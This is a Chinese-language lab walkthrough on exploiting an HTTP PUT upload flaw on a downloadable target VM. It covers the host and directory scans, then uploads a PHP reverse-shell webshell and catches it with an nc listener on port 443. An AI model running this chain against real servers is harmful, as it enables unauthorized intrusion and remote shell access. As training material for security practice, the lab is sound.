先介绍一下PUT上传漏洞的原理
我们常见的中间件有apache,tomcat,IIS,weblogic(其实就是web容器),这些中间件可以设置支持的HTTP方法。每一个HTTP方法都有其对应的功能,在这些方法中,PUT可以直接从客户机上传文件到服务器。如果中间件开放了HTTP中的PUT方法,那么恶意攻击者就可以直接上传webshell到对应的服务器上。
靶机搭建
链接:https://pan.baidu.com/s/1l_LILZgjUZ6ASrFQq9X22A
提取码:lsq0
漏洞复现
- 使用netdiscover发现存活主机
netdiscover -i eth0
- 使用nmap对靶机进行服务等信息的探测
nmap -sV 192.168.75.158
- 发现该目标使用的是lighttpd这个中间件
- 使用dirb对网站进行深一步的信息挖掘
dirb http://192.168.75.158
- 发现了一个test的目录
- 登录此目录发现没有任何可利用的信息
- 使用OWASP_ZAP对该test网站进行扫描,发现其存在一个put漏洞
- 再使用curl命令,发送数据报文检验这个漏洞
- 注意:要是现实中扫描器不能查看到该漏洞,我们也要有这种注入思路
curl -v -X OPTIONS http://192.168.75.158/test
发现允许使用PUT上传文件,初步验证存在PUT上传漏洞
- 这样我们就可以上传一个webshell到此目录中
cp /usr/share/webshells/php/php-reverse-shell.php /root/Desktop/shell.php
- 编辑shell.php的内容,这里要监听的端口我设置为443
- 使用firefox的poster插件上传webshell,旧版的firefox才有poster插件
- URL中填写http://靶机地址/test/要保存的文件名,这里是rshell.php
- 选择shell.php的所在位置
- 点击PUT上传
- 上传成功后,在kali中开启一个443的监听端口
nc -nlvp 443
- 点击rshell.php,反弹给我们了一个shell
- 输入python -c "import pty;pty.spawn(’/bin/bash’)"优化终端
- 成功渗入系统